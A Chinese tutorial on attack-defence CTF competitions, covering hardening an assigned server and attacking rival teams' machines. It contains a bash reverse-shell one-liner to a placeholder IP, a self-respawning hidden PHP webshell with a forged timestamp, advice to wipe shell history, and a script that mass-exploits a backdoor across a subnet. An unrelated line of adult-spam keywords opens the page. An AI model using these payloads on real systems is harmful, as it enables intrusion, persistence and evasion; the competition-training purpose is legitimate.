亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

CTF AWD入門(mén)學(xué)習(xí)手冊(cè)

 更新時(shí)間:2022年10月24日 17:13:29   作者:XINO  
這篇文章主要為大家介紹了CTF AWD入門(mén)學(xué)習(xí)手冊(cè),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

引文

AWD賽制是一種網(wǎng)絡(luò)安全競(jìng)賽的賽制。AWD賽制由安全競(jìng)賽專家及行業(yè)專家憑借十多年實(shí)戰(zhàn)經(jīng)驗(yàn),將真實(shí)網(wǎng)絡(luò)安全防護(hù)設(shè)備設(shè)施加入抽象的網(wǎng)絡(luò)環(huán)境中,模擬、企業(yè)、院校等單位的典型網(wǎng)絡(luò)結(jié)構(gòu)和配置,開(kāi)展的一種人人對(duì)抗的競(jìng)賽方式,考驗(yàn)參賽者攻防兼?zhèn)涞哪芰Α?/p>

其主要特點(diǎn)為:強(qiáng)調(diào)實(shí)戰(zhàn)性、實(shí)時(shí)性、對(duì)抗性,綜合考量競(jìng)賽隊(duì)的滲透能力和防護(hù)能力。本文就個(gè)人經(jīng)驗(yàn)來(lái)講一下AWD比賽中需要做的事。

站點(diǎn)部署

比賽開(kāi)始時(shí)我們會(huì)分配到一個(gè)至多個(gè)靶機(jī),通常是分配給我們ssh 用戶名和密碼還有虛擬ip等信息,我們需要自己去連接靶機(jī)。個(gè)人推薦使用xshell搭配xftp來(lái)使用,當(dāng)我們連接靶機(jī)之后要做什么呢。

dump源碼

比賽開(kāi)始第一件事,dump網(wǎng)站源碼,使用ssh工具保留源碼,復(fù)制兩份,用d盾去掃一份,因?yàn)楫?dāng)我們靶機(jī)受到攻擊時(shí)對(duì)手可能直接刪除我們的源碼導(dǎo)致靶機(jī)DOWN機(jī),而通常比賽中主辦方會(huì)在源碼中留有一些后門(mén),我們用D盾去掃描一下來(lái)進(jìn)行修復(fù)攻擊

數(shù)據(jù)庫(kù)備份

我們登錄數(shù)據(jù)庫(kù)來(lái)進(jìn)行備份,當(dāng)數(shù)據(jù)被刪除時(shí)可以使用命令快速還原。

mysqldump -u db_user -p db_passwd db_name > 1.sql //備份指定數(shù)據(jù)庫(kù)

還原命令:

mysql -u db_user -p db_passwd db_name < 1.sql //還原指定數(shù)據(jù)庫(kù)

修改密碼

當(dāng)主辦方給我們的連接密碼過(guò)于簡(jiǎn)單時(shí),不排除對(duì)手先登錄我們靶機(jī)來(lái)進(jìn)行破壞,于是我們要快速修改弱口令密碼。

linux修改ssh即本地密碼:

passwd

修改mysql登錄密碼:

mysql>set password for root@localhost =password('xino');

關(guān)閉不必要端口

一些端口會(huì)存在漏洞,為了保證安全我們關(guān)閉一些不必要的端口來(lái)進(jìn)行維護(hù):

部署WAF

WAF是用來(lái)分析阻擋對(duì)手攻擊的工具它可以分析流量,別人攻擊我們的時(shí)候,我們可以看到別人的攻擊方式。當(dāng)沒(méi)有攻擊思路時(shí)我們就可以分析流量,使用別人的攻擊方式。 部署方式如下:

每個(gè)文件前邊加:

require_once(waf.php);

為了方便我們可以修改php.ini配置文件,來(lái)自動(dòng)給當(dāng)前文件夾下文件頭部添加:

auto_prepend_file=<filename>;

攻擊(ATTACK)

當(dāng)我們部署完自己的靶機(jī)確認(rèn)沒(méi)有漏洞后,我們便可以嘗試攻擊別人機(jī)器了。

弱口令

當(dāng)發(fā)現(xiàn)靶機(jī)存在弱口令后,我們就可以遍歷IP地址來(lái)查詢存活的機(jī)器來(lái)自動(dòng)連接查找FLAG,或者在受害者靶機(jī)里植入后門(mén)文件來(lái)維持我們的控制。

自帶后門(mén)

通常靶機(jī)會(huì)有自帶的后門(mén)木馬,我們知道路徑后便可以寫(xiě)一個(gè)腳本批量連接來(lái)提交FLAG。

nmap

掃描C段存活主機(jī):

 .\nmap xxx.xxx.xxx.xxx/24

保存為T(mén)XT文件以便于之后編寫(xiě)腳本去攻擊。

WEB攻擊

舉幾個(gè)比較常見(jiàn)的WEB攻擊方式:

文件讀取,偽協(xié)議方式讀取flag

文件上傳,繞過(guò)黑白名單上傳一句話,用工具連接查找flag

命令執(zhí)行,通過(guò)system等函數(shù)來(lái)遍歷文件

SQL注入,尋找注入點(diǎn)注出flag

當(dāng)我們找到上面漏洞后,盡量去寫(xiě)一個(gè)腳本來(lái)自動(dòng)提交flag,之后再去尋找其他漏洞。

寫(xiě)入木馬

因?yàn)锳WD賽制是回合制,所以我們要想保持長(zhǎng)時(shí)間穩(wěn)定上分就要時(shí)刻控制別人靶機(jī),也就是要傳入木馬但又不能被對(duì)手發(fā)現(xiàn),下面列舉幾個(gè)權(quán)限維持的小技巧。

bash反彈shell

利用預(yù)留后門(mén)上傳上面的php文件并訪問(wèn),就可以用nc反彈shell,nc反彈shell命令如下:

bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080

注意: 使用bash命令,會(huì)在root目錄生成名為~/.bash_history的記錄文件,我們要清除來(lái)消除威脅。

不死馬

一個(gè)簡(jiǎn)單的不死馬:

<?php
	    ignore_user_abort(true);
	    set_time_limit(0);
	    unlink(__FILE__);
	    $file = '.config.php';
	    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
	    //pass=pass
	    while (1){
	        file_put_contents($file,$code);
	        system('touch -m -d "2020-10-21 04:17:18" .config.php');
	        usleep(5000);
	    }
	?>

不死馬的作用就是將該php文件上傳到服務(wù)器,然后進(jìn)行訪問(wèn),會(huì)在該路徑下循環(huán)生成名字為.config.php的不死馬隱藏文件。以此來(lái)達(dá)到權(quán)限維持。

提交腳本

比賽中可能會(huì)有幾十臺(tái)靶機(jī),盡管我們知道了如何攻擊,但一個(gè)一個(gè)打似乎有一些太慢了,所以這時(shí)我們要利用腳本去批量提交解放雙手。這里就在網(wǎng)上找了幾個(gè)常用的:

預(yù)留后門(mén)利用腳本:

import requests
url_head="http://xxx.xx.xxx."    #網(wǎng)段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"                    #木馬密碼
port="80"
payload =  {passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):
    url=url_head+str(i)+":"+port+shell_addr
    try:
        res=requests.post(url,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            result = url+" connect shell sucess,flag is "+res.text
            print result
            print >>flag,result
            print >>webshelllist,url+","+passwd
        else:
            print "shell 404"
    except:
        print url+" connect shell fail"
webshelllist.close()
flag.close()

批量提交flag腳本(需根據(jù)要求自行修改):

import sys
import json
import urllib
import httplib
server_host = ' '    #提交flag的服務(wù)器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的參數(shù),根據(jù)情況修改
        'token': team_token,    
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)    #第二個(gè)參數(shù)為提交flag的目錄
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

防御(DEFENSE)

既然有攻擊那么也需要防御別人的攻擊,上面其實(shí)已經(jīng)講了一些防御的技巧了,比如修改弱口令,上傳WAF等,這里就簡(jiǎn)單總結(jié)一下其他常用的知識(shí)吧。

查找flag的位置

find / -name *flag*

查找password

find .|xargs grep "password"

查看以建立的連接和進(jìn)程

netstat -antulp | grep EST

結(jié)束進(jìn)程

kill PID
killall <進(jìn)程名>  

檢測(cè)TCP連接數(shù)量

netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn

chattr命令防止系統(tǒng)中某個(gè)關(guān)鍵文件被修改

chattr +i /etc/resolv.conf

流量監(jiān)控

當(dāng)別人訪問(wèn)我們靶機(jī)時(shí)請(qǐng)求的URL可能就是攻擊的payload,我們?nèi)绻浪麄兊恼?qǐng)求就可以利用他們的手段來(lái)反打過(guò)去,這個(gè)基于流量監(jiān)控來(lái)實(shí)現(xiàn),一個(gè)簡(jiǎn)單的腳本如下:

<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //記錄訪問(wèn)者的ip
$filename = $_SERVER['PHP_SELF']; //訪問(wèn)者要訪問(wèn)的文件名
$parameter = $_SERVER["QUERY_STRING"]; //訪問(wèn)者要請(qǐng)求的參數(shù)
$time = date('Y-m-d H:i:s',time()); //訪問(wèn)時(shí)間
$logadd = '來(lái)訪時(shí)間:'.$time.'-->'.'訪問(wèn)鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log記錄
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

結(jié)語(yǔ)

今天給大家?guī)?lái)了AWD的入門(mén)知識(shí)點(diǎn),AWD賽制也是CTF中常見(jiàn)的賽制,本文講的AWD比賽中常見(jiàn)的知識(shí)點(diǎn),更多關(guān)于CTF AWD入門(mén)手冊(cè)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評(píng)論